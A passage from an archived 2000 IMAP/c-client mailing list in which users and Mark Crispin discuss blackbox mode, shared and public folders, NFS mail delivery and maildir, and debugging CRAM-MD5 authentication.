Feb 2000 23:27:11 -0800 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA01596 for ; Sun, 13 Feb 2000 23:27:10 -0800 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.9.3/8.9.3) with ESMTP id IAA22533; Mon, 14 Feb 2000 08:27:08 +0100 (MET) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.9.3/8.9.3) with ESMTP id IAA18652; Mon, 14 Feb 2000 08:27:08 +0100 (MET) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1XA61DYL; Mon, 14 Feb 2000 10:28:12 +0300 Message-Id: <000101bf76bc$e5fb15b0$21c9ca95@mow.siemens.ru> Date: Mon, 14 Feb 2000 10:27:07 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Jens Krinke" , "Mark Crispin" Cc: Subject: RE: /var/imap/$USER In-Reply-To: <20000213.13323300@sylt.fmi.uni-passau.de> MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > > Please read imap-4.[]/docs/CONFIG, example 2. If you don't have the > sources, > > get them from ftp://ftp.cac.washington.edu/mail/imap.tar.Z > > So there is no other way than changing the source? What is black > box-mode, can this be used for that purpose? > Well, I do use it for a long time without any problem so far :-) But, then, do not forget - you have to arrange for delivery into blackbox folder. I recommend use of dmail or tmail from imap-utils package, as these are based on c-client and understand blackbox as well. - using blackbox means, that you probably are stuck with c-client based tools for reading mail. Your are safe as long as you access all your mail via imapd. But, e.g. Pine does not work well with local blackbox folders (I consider it actually a bug - I can explain why). - you have to manually create "home" blackbox directory for every user. There is no magic here. - there are some extra files that are used for bookkeeping by imapd - they get into blackbox directory as well. This may or may not be a problem. All in all, blackbox works well for pure IMAP access, may have problems with local access and requires extra admin work in any case. /andrej From pinedev@shivax2.cac.washington.edu Mon Feb 14 02:28:55 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 02:28:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA21976 for ; Mon, 14 Feb 2000 02:28:54 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id CAA03313; Mon, 14 Feb 2000 02:28:51 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id CAA02473; Mon, 14 Feb 2000 02:25:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id CAA31410 for ; Mon, 14 Feb 2000 02:22:03 -0800 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.29]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id CAA02991 for ; Mon, 14 Feb 2000 02:22:02 -0800 Received: from fujin.qub.ac.uk by mailhub2.qub.ac.uk with SMTP-QUB (XT-PP) with ESMTP; Mon, 14 Feb 2000 10:21:26 +0000 Received: from cmcd.cc.qub.ac.uk (cmcd1.cc.qub.ac.uk [143.117.17.85]) by fujin.qub.ac.uk (8.8.8+Sun/8.8.8) with ESMTP id KAA25578 for ; Mon, 14 Feb 2000 10:20:31 GMT Message-Id: Date: Mon, 14 Feb 2000 10:25:22 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: c-client@u.washington.edu Subject: IMAP shared/public folders MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii"; name="ipm.txt" Content-Disposition: inline; filename="ipm.txt" X-Sender: C.McDowell@queens-belfast.ac.uk X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, could anyone tell me how to set these up on a unix host (IMAP4rev1 v12.254)? I've checked the documentation but I don't quite follow the section on it in drivers.txt - a problem with my own ignorance no doubt. Any pointers to relevant documentation appreciated. A supplementary question - what is the difference between shared and public folders? thanks, Clive McDowell University Computing Services The Queen's University of Belfast -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 14 05:16:14 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 05:16:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA21451 for ; Mon, 14 Feb 2000 05:16:12 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA13013; Mon, 14 Feb 2000 05:16:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA03595; Mon, 14 Feb 2000 05:14:46 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA18360 for ; Mon, 14 Feb 2000 05:13:54 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA20224 for ; Mon, 14 Feb 2000 05:13:53 -0800 Received: (qmail 1344190 invoked by uid 3995); 14 Feb 2000 13:14:06 -0000 Message-Id: <14503.65438.572089.935734@sws5.ctd.ornl.gov> Date: Mon, 14 Feb 2000 08:14:06 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: References: <14500.30006.494217.53888@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M >You do not need maildir to do reliable delivery via NFS. You just need to >make sure that the /var/spool/mail directory is protected 1777. That assumes that only one system is delivering to /var/spool/mail at a time. We want multiple systems to be able to deliver to the same mailboxes. >The issues caused by NFS are in multiple MUAs accessing the same mailbox, and >maildir isn't going to help you with that. Also multiple MTA's delivering to the same mailbox--and maildir does help there. Actually, I think it helps in the case of multiple MUA's, too. I've read the same maildir mailbox with two mutts before, and it behaved as well as could be expected. >It's generally a bad idea to use NFS for mailboxes, or for that matter any >other kind of database which has multiple simultaneous read/write access. >You're not gaining any performance by using it. NFS is alright for C source >files and text files, that kind of thing. We're more worried about reliability than performance, but performance with the Netapp filers is very impressive. So, back to my question: how can I debug this CRAM-MD5 authentication problem? Is there a comman-line tool for calculating keyed MD5's so I can tell whether the MUA's or IMAP is doing it wrong? Any other approaches? -Dave From pinedev@shivax2.cac.washington.edu Mon Feb 14 08:22:29 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 08:22:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA30282 for ; Mon, 14 Feb 2000 08:22:28 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA09638; Mon, 14 Feb 2000 08:22:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA26096; Mon, 14 Feb 2000 08:20:24 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA50622 for ; Mon, 14 Feb 2000 08:18:57 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (groves@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA14364 for ; Mon, 14 Feb 2000 08:18:56 -0800 Message-Id: Date: Mon, 14 Feb 2000 08:16:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client@u.washington.edu Subject: re: IMAP shared/public folders In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Feb 2000 10:25:22 +0000, Clive McDowell wrote: > could anyone tell me how to set these up on a unix host (IMAP4rev1 > v12.254)? Create two new users: imapshared and imapublic. #shared/ files are in imapshared's home directory. #public/ files are in imapublic's home directory. You probably want to set the directory protections to allow other users to access them, e.g. 777 or 775. > A supplementary question - what is the difference between shared and > public folders? shared folders are not accessible by IMAP user anonymous. public folders are. From pinedev@shivax2.cac.washington.edu Mon Feb 14 08:30:34 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 08:30:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA05630 for ; Mon, 14 Feb 2000 08:30:32 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA16845; Mon, 14 Feb 2000 08:30:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA26809; Mon, 14 Feb 2000 08:29:40 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA05534 for ; Mon, 14 Feb 2000 08:28:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (koda@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA16193 for ; Mon, 14 Feb 2000 08:28:38 -0800 Message-Id: Date: Mon, 14 Feb 2000 08:22:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14503.65438.572089.935734@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Feb 2000 08:14:06 -0500 (EST), Dave Sill wrote: > >You do not need maildir to do reliable delivery via NFS. You just need to > >make sure that the /var/spool/mail directory is protected 1777. > That assumes that only one system is delivering to /var/spool/mail at > a time. We want multiple systems to be able to deliver to the same > mailboxes. I repeat my statement. You do not need maildir to do reliable delivery via NFS. Nor do you need it for multiple MTAs. Nor do you need it for multiple MUAs. All you need is to guarantee exclusive creation of the .lock files. That is somewhat more complicated than using O_EXCL, but it is a solved problem. Refer to the c-client routine dotlock_lock(), and look for the code that begins with the insipid poem: SUN-OS had an NFS, As kludgy as an albatross; And everywhere that it was installed, It was a total loss. > So, back to my question: how can I debug this CRAM-MD5 authentication > problem? Is there a comman-line tool for calculating keyed MD5's so I > can tell whether the MUA's or IMAP is doing it wrong? Any other > approaches? The first step is to make sure that you're running the latest version of the software. CRAM-MD5 works fine for other people who are using it. What's different about your system is that you're running an old version of the software and are declining to upgrade. From pinedev@shivax2.cac.washington.edu Mon Feb 14 09:00:06 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 09:00:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA05106 for ; Mon, 14 Feb 2000 09:00:04 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA17936; Mon, 14 Feb 2000 08:59:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA28804; Mon, 14 Feb 2000 08:58:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA34396 for ; Mon, 14 Feb 2000 08:55:08 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA13906 for ; Mon, 14 Feb 2000 08:55:02 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id SAA23093; Mon, 14 Feb 2000 18:54:44 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0.Beta12/8.10.0.Beta12) with ESMTP id e1EGsiN87991; Mon, 14 Feb 2000 18:54:44 +0200 (EET) Message-Id: Date: Mon, 14 Feb 2000 18:54:44 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Mark Crispin Cc: Dave Sill , c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: References: <14503.65438.572089.935734@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Feb 2000 08:22:25 -0800 (PST) Mark Crispin wrote: > The first step is to make sure that you're running the latest version of the > software. CRAM-MD5 works fine for other people who are using it. What's > different about your system is that you're running an old version of the > software and are declining to upgrade. Because IIRC, Dave runs Qmail, and that is why he needs Maildir (although I believe you can have other delivery styles with Qmail) -- # man coffee From pinedev@shivax2.cac.washington.edu Mon Feb 14 09:45:17 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 09:45:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA05021 for ; Mon, 14 Feb 2000 09:45:15 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA12548; Mon, 14 Feb 2000 09:45:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA01391; Mon, 14 Feb 2000 09:41:43 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA50564 for ; Mon, 14 Feb 2000 09:35:32 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id JAA22389 for ; Mon, 14 Feb 2000 09:35:32 -0800 Received: (qmail 1368394 invoked by uid 3995); 14 Feb 2000 17:35:43 -0000 Message-Id: <14504.15599.499681.464513@sws5.ctd.ornl.gov> Date: Mon, 14 Feb 2000 12:35:43 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: References: <14503.65438.572089.935734@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M wrote: > >I repeat my statement. You do not need maildir to do reliable delivery via >NFS. Nor do you need it for multiple MTAs. Nor do you need it for multiple >MUAs. I can't dispute this claim, but there must be some reason Innosoft won't support delivering to an NFS-mounted mailbox. Maildir may not be strictly necessary, but it's sufficient. >> So, back to my question: how can I debug this CRAM-MD5 authentication >> problem? Is there a comman-line tool for calculating keyed MD5's so I >> can tell whether the MUA's or IMAP is doing it wrong? Any other >> approaches? > >The first step is to make sure that you're running the latest version of the >software. CRAM-MD5 works fine for other people who are using it. Did it work in imap 4.5, or only in the latest version? >What's different about your system is that you're running an old >version of the software and are declining to upgrade. I'm "declining" to upgrade because I don't have maildir patches for the current version. If 4.5 CRAM-MD5 never worked, then I'm wasting my time. If it did, then it should work for me, regardless of whether there's a newer version available. -Dave From pinedev@shivax2.cac.washington.edu Mon Feb 14 09:50:35 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 09:50:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA06866 for ; Mon, 14 Feb 2000 09:50:34 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA12747; Mon, 14 Feb 2000 09:50:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA02080; Mon, 14 Feb 2000 09:48:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA09968 for ; Mon, 14 Feb 2000 09:46:52 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id JAA25126 for ; Mon, 14 Feb 2000 09:46:52 -0800 Received: (qmail 1371177 invoked by uid 3995); 14 Feb 2000 17:47:03 -0000 Message-Id: <14504.16279.543322.353527@sws5.ctd.ornl.gov> Date: Mon, 14 Feb 2000 12:47:03 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: References: <14503.65438.572089.935734@sws5.ctd.ornl.gov> MIME-Version: 1.0 X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M wrote: >On Mon, 14 Feb 2000 08:22:25 -0800 (PST) Mark Crispin wrote: > >> The first step is to make sure that you're running the latest version of the >> software. CRAM-MD5 works fine for other people who are using it. What's >> different about your system is that you're running an old version of the >> software and are declining to upgrade. > >Because IIRC, Dave runs Qmail, and that is why he needs Maildir (although I >believe you can have other delivery styles with Qmail) Yes, I'm using qmail, but that's irrelevant. I don't need maildirs because I'm using qmail, I'm using qmail because I want maildirs. If I were using Postfix or sendmail and delivering to maildirs, I'd still be having the same problem: imap CRAM-MD5 authentication is failing. Look, I didn't come here for advice about which MTA to use, how to deliver safely via NFS, or recommendations to use the latest version of imap. I have two questions. If anyone can answer either of them, that would be great. Otherwise, no response is required. The questions are: 1) does CRAM-MD5 authentication work right with imap 4.5, and 2) assuming the answer to (1) is yes, how can I figure out why mine is failing to authenticate properly? -Dave From pinedev@shivax2.cac.washington.edu Mon Feb 14 10:05:22 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 10:05:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA06233 for ; Mon, 14 Feb 2000 10:05:21 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA13393; Mon, 14 Feb 2000 10:05:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA02685; Mon, 14 Feb 2000 10:04:11 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA43618 for ; Mon, 14 Feb 2000 10:02:28 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA19799 for ; Mon, 14 Feb 2000 10:02:26 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id UAA26855; Mon, 14 Feb 2000 20:02:24 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0.Beta12/8.10.0.Beta12) with ESMTP id e1EI2NN92586; Mon, 14 Feb 2000 20:02:23 +0200 (EET) Message-Id: <200002141802.e1EI2NN92586@dblab.ece.ntua.gr> Date: Mon, 14 Feb 2000 20:02:23 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14504.16279.543322.353527@sws5.ctd.ornl.gov> References: <14504.16279.543322.353527@sws5.ctd.ornl.gov> <14503.65438.572089.935734@sws5.ctd.ornl.gov> X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Message-ID: Priority: NORMAL X-Mailer: Execmail for Win32 Version 5.0.1 Build (55) MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" On Mon, 14 Feb 2000 12:47:03 -0500 (EST) Dave Sill wrote: [ ... ] > Look, I didn't come here for advice about which MTA to use, how to [ ... ] It was not my intent to point to you which MTA to use. If it seemed that way, it may be because English is not my native language (unlike you). -- # man coffee From pinedev@shivax2.cac.washington.edu Mon Feb 14 11:49:10 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Feb 2000 11:49:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA10584 for ; Mon, 14 Feb 2000 11:49:08 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA16512; Mon, 14 Feb 2000 11:49:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA17890; Mon, 14 Feb 2000 11:47:44 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA47380 for ; Mon, 14 Feb 2000 11:46:21 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA20100 for ; Mon, 14 Feb 2000 11:46:21 -0800 Message-Id: Date: Mon, 14 Feb 2000 11:11:31 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14504.15599.499681.464513@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Feb 2000 12:35:43 -0500 (EST), Dave Sill wrote: > I can't dispute this claim, but there must be some reason Innosoft > won't support delivering to an NFS-mounted mailbox. Perhaps because NFS is an extremely bad idea; it creates enormous problems and at best you'll only ever be able to get it to work in a half-hearted way. I envy Innosoft and the Cyrus folks for having the luxury to flatly prohibit use of NFS. I would do the same thing if they'd let me. We had our own unfortunate flirtation with NFS, for many of the same reasons that you give today. Thankfully, those days are over; but I'm still not allowed to rip out the NFS code. > Maildir may not be strictly necessary, but it's sufficient. Maildir does not (can not) work well with IMAP. Undoubtably, you're making completely false assumptions about IMAP loads based upon how (poorly) maildir works. > >> So, back to my question: how can I debug this CRAM-MD5 authentication > >> problem? > >The first step is to make sure that you're running the latest version > Did it work in imap 4.5, or only in the latest version? If it wasn't already obvious, I don't know. CRAM-MD5 has always worked for me, in all versions. There was a time when bad code was generated on some platforms (not any that I use). Maybe it applies to you, maybe it doesn't. CRAM-MD5 is not particularly easy to debug. You can't decode what has been encoded. You can make the IMAP server log the string that it expects vs. the string provided by the client. There's a few other things to try, but it quickly gets messy. But before going into all of that, the first step is to upgrade the server, to make sure that the exercise isn't a waste of time. > I'm "declining" to upgrade because I don't have maildir patches for > the current version. If that's the case, it should suggest to you that maildir isn't being actively developed and support is likely to evaporate. > If 4.5 CRAM-MD5 never worked, then I'm wasting my > time. Excuse me? I understand your not wanting to waste your time, but what about wasting the time of everyone else? In the time that we've spent arguing about this, you could have brought up a 4.7a server temporarily to see if CRAM-MD5 works. You probably could have gotten maildir working in 4.7a. Please consider one or the other of these steps. It's a stretch to imagine how the addition of a maildir driver could possibly depend upon 4.5 vs. 4.7a. The "patch" should be a maildir.h, a maildir.c, and a couple of lines in the imap-4.[]/src/osdep/unix/Makefile. All of this should apply to 4.7a exactly as it does to 4.5. If it involves anything else, especially any modifications to any of the other program source files, then it's possible that the bug is in that patch. From pinedev@shivax2.cac.washington.edu Tue Feb 15 08:13:16 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2000 08:13:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA31422 for ; Tue, 15 Feb 2000 08:13:15 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA10167; Tue, 15 Feb 2000 08:13:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA20311; Tue, 15 Feb 2000 08:12:07 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA46120 for ; Tue, 15 Feb 2000 08:08:26 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id IAA03725 for ; Tue, 15 Feb 2000 08:08:25 -0800 Received: (qmail 328741 